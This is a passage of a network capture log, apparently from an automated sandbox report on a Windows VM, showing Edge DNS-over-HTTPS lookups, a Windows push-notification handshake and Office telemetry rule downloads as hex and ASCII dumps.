2024-11-22 13:43:52 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 27 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom'PC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49855	162.159.61.3	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:51 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-22 13:43:51 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-22 13:43:52 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 22 Nov 2024 13:43:51 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6959d51e31728c-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 13:43:52 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 2b 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom+()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	49861	172.64.41.3	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:51 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-22 13:43:51 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-22 13:43:52 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 22 Nov 2024 13:43:51 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6959d529ff41af-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 13:43:52 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 22 00 04 8e fa 51 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom"Q)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	49860	172.64.41.3	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:51 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-22 13:43:51 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-22 13:43:52 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 22 Nov 2024 13:43:51 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6959d52a1480cd-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 13:43:52 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 23 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom#A)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	49867	162.159.61.3	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:51 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-22 13:43:51 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-22 13:43:52 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 22 Nov 2024 13:43:51 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6959d57aaa727a-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 13:43:52 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 fe 00 04 8e fa 50 23 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomP#)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49873	162.159.61.3	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:52 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-22 13:43:52 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-22 13:43:52 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 22 Nov 2024 13:43:52 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6959da6e940f4b-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 13:43:52 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 ad 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49874	172.64.41.3	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:52 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-22 13:43:52 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-22 13:43:53 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 22 Nov 2024 13:43:53 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6959dcdde4424c-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 13:43:53 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 b1 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49875	162.159.61.3	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:52 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-22 13:43:52 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-22 13:43:53 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 22 Nov 2024 13:43:53 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6959dd4c8f18c0-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 13:43:53 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 28 00 04 8e fb 28 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom(()

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49872	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:53 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 44 62 64 5a 4c 64 63 75 55 30 57 4b 6a 53 36 49 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 65 37 65 31 36 63 66 35 35 33 63 64 39 63 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: DbdZLdcuU0WKjS6I.1Context: 4e7e16cf553cd9c0
2024-11-22 13:43:53 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-22 13:43:53 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 44 62 64 5a 4c 64 63 75 55 30 57 4b 6a 53 36 49 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 65 37 65 31 36 63 66 35 35 33 63 64 39 63 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 4b 78 53 42 4f 6b 48 4f 75 31 66 6d 49 2b 7a 57 59 59 58 58 65 6d 67 71 61 6f 68 54 6d 37 78 6e 7a 6e 54 2b 4f 70 42 6f 4e 77 4e 44 64 2b 63 48 4e 6e 39 57 33 61 38 2b 39 53 43 61 66 2b 75 4a 75 41 6b 48 65 38 66 68 2f 61 33 69 4e 31 61 38 52 70 71 73 56 69 50 56 69 63 6d 33 43 71 56 66 66 6b 61 6c 66 6f 6a 39 78 43 59 43 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: DbdZLdcuU0WKjS6I.2Context: 4e7e16cf553cd9c0<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVKxSBOkHOu1fmI+zWYYXXemgqaohTm7xnznT+OpBoNwNDd+cHNn9W3a8+9SCaf+uJuAkHe8fh/a3iN1a8RpqsViPVicm3CqVffkalfoj9xCYC
2024-11-22 13:43:53 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 44 62 64 5a 4c 64 63 75 55 30 57 4b 6a 53 36 49 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 65 37 65 31 36 63 66 35 35 33 63 64 39 63 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: DbdZLdcuU0WKjS6I.3Context: 4e7e16cf553cd9c0<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-22 13:43:53 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-22 13:43:53 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 66 5a 48 76 54 72 78 59 71 30 36 73 35 39 53 31 74 32 37 65 61 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: fZHvTrxYq06s59S1t27eaA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:53 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:53 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:53 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 171aa64f-101e-005a-5b63-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134353Z-178bfbc474bbbqrhhC1NYCvw74000000032000000000mrgf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:53 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:53 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:53 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:53 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 3d26e0c5-e01e-0020-6638-3cde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134353Z-178bfbc474bgvl54hC1NYCsfuw000000031000000000bkaa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:53 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
